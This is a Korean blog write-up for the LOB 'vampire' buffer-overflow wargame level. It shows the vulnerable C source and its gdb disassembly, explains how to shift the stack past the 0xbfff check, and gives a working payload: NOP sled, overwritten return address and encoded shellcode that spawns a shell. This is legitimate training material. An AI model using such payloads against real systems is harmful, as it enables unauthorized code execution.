troll에 로그인하면 vampire 실행파일과 vampire.c 소스 파일이 보인다. 소스 코드부터 확인 해보았다.
/*
The Lord of the BOF : The Fellowship of the BOF
- vampire
- check 0xbfff
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// here is changed!
if(argv[1][46] == '\xff')
{
printf("but it's not forever\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
드디어 argv를 초기화하는 코드가 사라졌으니, argv에 쉘 코드를 저장하면 될 것 같다. 또한 argv[1]의 길이 제한도 없어졌다.
우선, 기존과 동일하게 48번째의 문자는 "\xbf" 여야 한다. 즉, 스택의 공간에 쉘 코드를 저장한 다음 ret을 해당 주소로 덮으라는 의미이다.
그리고 새롭게 추가된 조건이 있는데, 47번째 문자가 "\xff" 이면 안된다. 즉, ret의 주소가 0xbfff 의 위치면 안된다는 의미이다. 그 동안은 모든 주소들이 bfff로 시작했었는데 이를 어떻게 바꿀 수 있는지, bfff 이전의 공간 중에 접근할 만한 곳이 있는지 gdb를 통해 확인해보기로 했다.
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %ebp,%esp
0x8048433 <main+3>: sub %esp,40
0x8048436 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804843a <main+10>: jg 0x8048453 <main+35>
0x804843c <main+12>: push 0x8048520
0x8048441 <main+17>: call 0x8048350 <printf>
0x8048446 <main+22>: add %esp,4
0x8048449 <main+25>: push 0
0x804844b <main+27>: call 0x8048360 <exit>
0x8048450 <main+32>: add %esp,4
0x8048453 <main+35>: mov %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>: add %eax,4
0x8048459 <main+41>: mov %edx,DWORD PTR [%eax]
0x804845b <main+43>: add %edx,47
0x804845e <main+46>: cmp BYTE PTR [%edx],0xbf
0x8048461 <main+49>: je 0x8048480 <main+80>
0x8048463 <main+51>: push 0x804852c
0x8048468 <main+56>: call 0x8048350 <printf>
0x804846d <main+61>: add %esp,4
0x8048470 <main+64>: push 0
0x8048472 <main+66>: call 0x8048360 <exit>
0x8048477 <main+71>: add %esp,4
0x804847a <main+74>: lea %esi,[%esi]
0x8048480 <main+80>: mov %eax,DWORD PTR [%ebp+12]
0x8048483 <main+83>: add %eax,4
0x8048486 <main+86>: mov %edx,DWORD PTR [%eax]
0x8048488 <main+88>: add %edx,46
0x804848b <main+91>: cmp BYTE PTR [%edx],0xff
0x804848e <main+94>: jne 0x80484a7 <main+119>
0x8048490 <main+96>: push 0x8048549
0x8048495 <main+101>: call 0x8048350 <printf>
0x804849a <main+106>: add %esp,4
0x804849d <main+109>: push 0
0x804849f <main+111>: call 0x8048360 <exit>
0x80484a4 <main+116>: add %esp,4
0x80484a7 <main+119>: mov %eax,DWORD PTR [%ebp+12]
0x80484aa <main+122>: add %eax,4
0x80484ad <main+125>: mov %edx,DWORD PTR [%eax]
0x80484af <main+127>: push %edx
0x80484b0 <main+128>: lea %eax,[%ebp-40]
0x80484b3 <main+131>: push %eax
0x80484b4 <main+132>: call 0x8048370 <strcpy>
0x80484b9 <main+137>: add %esp,8
0x80484bc <main+140>: lea %eax,[%ebp-40]
0x80484bf <main+143>: push %eax
0x80484c0 <main+144>: push 0x804855f
0x80484c5 <main+149>: call 0x8048350 <printf>
0x80484ca <main+154>: add %esp,8
0x80484cd <main+157>: leave
0x80484ce <main+158>: ret
0x80484cf <main+159>: nop
End of assembler dump.
맨 위의 네 줄, main+0 부터 main+6을 보면, ebp-40에 buffer가 존재하고, ebp+8에 argc가 존재함을 알 수 있다. 구조는 다음과 같다.
Buffer [40 byte] | SFP [4 Byte] | RET [4 Byte] | argc [4 Byte] |
ebp의 주소를 보기 위해 main+0에 중단점을 걸고 실행시켜 보았다. 실행 인자는 `python -c 'print "\90"*47 + "\xbf"'` 이다.
ebp의 주소는 0xbffffab8이다. 이보다 뒤 쪽에 있는 argc, argv는 복귀 주소로 사용할 수 없을 것 같다.
그래서 생각해낸 방법이 있는데, 만약 agrv[1]의 길이에 제한이 없다면, 스택 공간은 0xbf로 시작되고, 큰 곳에서부터 작은 곳으로 저장하게 된다. 여태까지의 argv 또는 ebp, buffer 등이 모두 0xffff 이후의 공간에 저장되는 것을 볼 수 있었는데, 만약 argv[1]의 값이 너무나도 커서 0xbfff0000 ~ 0xbfffffff의 공간에 담아내지 못할 정도로 크다면, 과연 어떻게 될까에 대해 알아보기 위해서, 실행 인자를
`python -c 'print "\xbf"*48 + "\x90"*70000'`
을 넘겨주고서 (참고로 0000 ~ ffff는 10진수로 65536개이다.) ebp를 출력해보았더니, 다음과 같은 결과를 얻을 수 있었다.
이후엔 전부 0x90909090이 저장되어 있다. argv[1]이 커지는 만큼 ebp를 포함해서 sfp, ret, buffer 등이 전부 앞 쪽으로 밀린 것이다. 왜 이런 결과가 나오는가 하면, 함수를 호출할 때 시스템은 실행 인자들을 push 한다음, 돌아갈 주소(다음 줄의 주소)를 push하고 해당 함수를 실행하게 된다. main 함수가 실행될 때도 동일한데, argv[1]을 먼저 push 하고, argc를 push한 다음, 돌아갈 주소(ret)을 push한 후에 ebp가 push되는데, 제일 먼저 push했던 argv[1]의 값이 너무나도 크기 때문에 그 뒤의 값들을 push 할 땐 비교적 낮은 메모리 주소에 push되는 것이다.
원리도 알았고 방법도 알았으니, 페이로드를 작성하면 된다. 공격 과정은 다음과 같다.
- argv[1]은 [44바이트 + ret 주소를 덮을 4바이트 + "\x90"*70000 + "쉘 코드"]로 구성.
- 이 때, ret을 덮을 주소는 0xbffe 로 시작되는 곳에서 \x90이 존재하는 아무 곳이나 지정.
- Nop Sled를 통해 대략 70000개의 NOP을 미끄러진 후에 쉘 코드가 실행
- 쉘 획득!
위에서 캡쳐한 사진에서 0xbffe로 시작하는 아무런 주소나 지정하면 될 것 같다. 0xbffef808을 기준으로 잡고, ret에 해당 주소를 덮어줄 예정이다.
페이로드는 다음과 같다.
`python -c 'print "\x90"*44 + "\x08\xf8\xfe\xbf" + "\x90"*70000 + ""\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
정상적으로 작동하는지 입력해보았다.
쉘을 띄우는데 성공하였다. 이제 vampire 파일에 그대로 적용시킨 후에, my-pass를 입력해서 패스워드를 출력한 뒤 vampire로 로그인하면 된다.
'Pwnable > LOB' 카테고리의 다른 글
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level11 (0) | 2020.08.16 |
---|---|
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level10 (0) | 2020.08.15 |
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level8 (0) | 2020.08.15 |
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level7 (0) | 2020.08.14 |
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level6 (0) | 2020.08.14 |